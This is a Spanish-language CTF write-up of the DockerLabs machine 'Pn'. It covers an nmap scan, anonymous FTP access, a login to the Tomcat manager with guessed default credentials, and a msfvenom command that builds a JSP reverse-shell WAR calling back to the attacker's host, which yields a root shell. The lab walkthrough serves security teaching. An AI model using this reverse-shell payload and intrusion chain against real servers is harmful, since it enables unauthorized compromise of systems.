> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/pn.md).

# Pn

<details>

<summary>Datos</summary>

* **Máquina** -> Pn
* **Dificultad** -> Fácil
* **Creador** -> [El Pingüino de Mario](https://www.youtube.com/channel/UCGLfzfKRUsV6BzkrF1kJGsg)

</details>

Como es costumbre, empezamos este ctf con un `ping`:

```bash
ping -c 1 172.17.0.2 -R
```

<mark style="color:green;">**Resultado**</mark>

```c
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.052 ms
RR: 	172.17.0.1
	172.17.0.2
	172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms
```

En este resultado del comando `ping`, podemos notar que tenemos conexión directa con el equipo, mediante su **TTL** podemos intuir que es un sistema **Linux**, después de crear las carpetas de trabajo con `mkt`, procedemos con nuestro escaneo de `nmap`.

```bash
nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
```

<mark style="color:green;">**Resultado**</mark>

```js
# Nmap 7.95 scan initiated Sat May 17 22:08:06 2025 as: nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              74 Apr 19  2024 tomcat.txt
8080/tcp open  http    Apache Tomcat 9.0.88
|_http-title: Apache Tomcat/9.0.88
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 17 22:08:15 2025 -- 1 IP address (1 host up) scanned in 8.96 seconds
```

`nmap` nos muestra los puertos abiertos con su servicio y versión correspondiente, en este caso tenemos el puerto `21` corriendo `ftp` de versión `3.0.5`, el problema es que `nmap` detecto con el script `ftp-anon` que el usuario `Anonymous` esta activo, por lo cual podemos ingresar al servidor `ftp` sin credenciales, ademas nos muestra que existe un archivo `tomcat.txt` existente en la carpeta del servidor, el otro puerto seria el `8080` corre `Apache Tomcat` de versión `9.0.88`, como tal no detecta ninguna vulnerabilidad, el siguiente paso sera descargar el `txt` que esta en `ftp`.

```bash
wget -m --no-passive ftp://anonymous:anonymous@172.17.0.2
```

<mark style="color:green;">**Resultado**</mark>

<figure><img src="/files/YcLv5CuDuEarkYJPbXCd" alt=""><figcaption></figcaption></figure>

Como podemos notar en la imagen, se descargo correctamente el archivo, este comando descarga de forma recursiva todo lo que este en el servidor `ftp`, ahora veamos el contenido de `tomcat.txt`.

```txt
Hello tomcat, can you configure the tomcat server? I lost the password...
```

Dice: `Hola tomcat, ¿puedes configurar el servidor tomcat? Perdí la contraseña...`, vallamos a la web para ver como esta.

<figure><img src="/files/ufExqssUbxa7B8g7D0hg" alt=""><figcaption></figcaption></figure>

Al intentar entrar a `Manager App` nos pide credenciales, si presionamos cancelar, nos aparecerá un mensaje de ayuda:

<figure><img src="/files/YWwe6ZkJpAMeXn8rVueE" alt=""><figcaption></figcaption></figure>

Aquí nos muestra credenciales por default: `tomcat` y `s3cret`, pero no funcionan, aunque jugando un poco con esto, simplemente cambiando la contraseña de `s3cret` a `s3cr3t` nos deja entrar, una vez dentro tendremos que ir al siguiente apartado: `Archivo WAR a desplegar`, aquí subiremos un archivo malicioso que nos devolverá una **Reverse Shell**, para crearlo nos vamos a la terminal y ejecutamos el siguiente comando:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=1234 -f war -o revshell.war
```

* `msfvenom`: Herramienta de Metasploit para generar payloads (código malicioso personalizado).
* `-p java/jsp_shell_reverse_tcp`: Especifica el **payload** a generar. En este caso, crea una *shell reversa* en formato JSP (Java Server Pages), útil para servidores web Java.
* `reverse_tcp`: el objetivo se conecta de vuelta al atacante.
* `LHOST=172.17.0.1`: Dirección IP del atacante (la máquina que recibirá la conexión inversa).
* `LPORT=1234`: Puerto en la máquina atacante donde se recibirá la conexión.
* `-f war`: Formato de salida del archivo. `war` (Web Application Archive) es el tipo de archivo usado para desplegar aplicaciones web en servidores Java (como Apache Tomcat).
* `-o revshell.war`: Nombre del archivo de salida que se generará con el payload: `revshell.war`.

<mark style="color:green;">**Resultado**</mark>

```js
Payload size: 1107 bytes
Final size of war file: 1107 bytes
Saved as: revshell.war
```

Ahora simplemente lo subimos y presionamos el botón `Desplegar`, de tal modo que en el apartado `Aplicaciones` aparecerá de último nuestra aplicación con nombre: `/revshell`, antes de presionar el enlace, tenemos que ponernos en escucha, en mi caso usaré `pwncat`.

```js
pwncat-cs :1234
```

<mark style="color:green;">**Resultado**</mark>

<figure><img src="/files/c3wH2zWzylqQ0q1APjBw" alt=""><figcaption></figcaption></figure>

Ahora si presionamos el enlace y podremos ver en `pwncat` como recibimos exitosamente la conexión:

<figure><img src="/files/Ch6sUjdS5ROiwQmUhjT8" alt=""><figcaption></figcaption></figure>

Si entramos a la shell y ejecutamos `whoami`, nos llevaremos la sorpresa de que somos `root`, ya que era el usuario que ejecuto `tomcat` por lo cual hemos resuelto el ctf.

<figure><img src="/files/u4LHYnM5DygRq78t0gme" alt=""><figcaption></figcaption></figure>
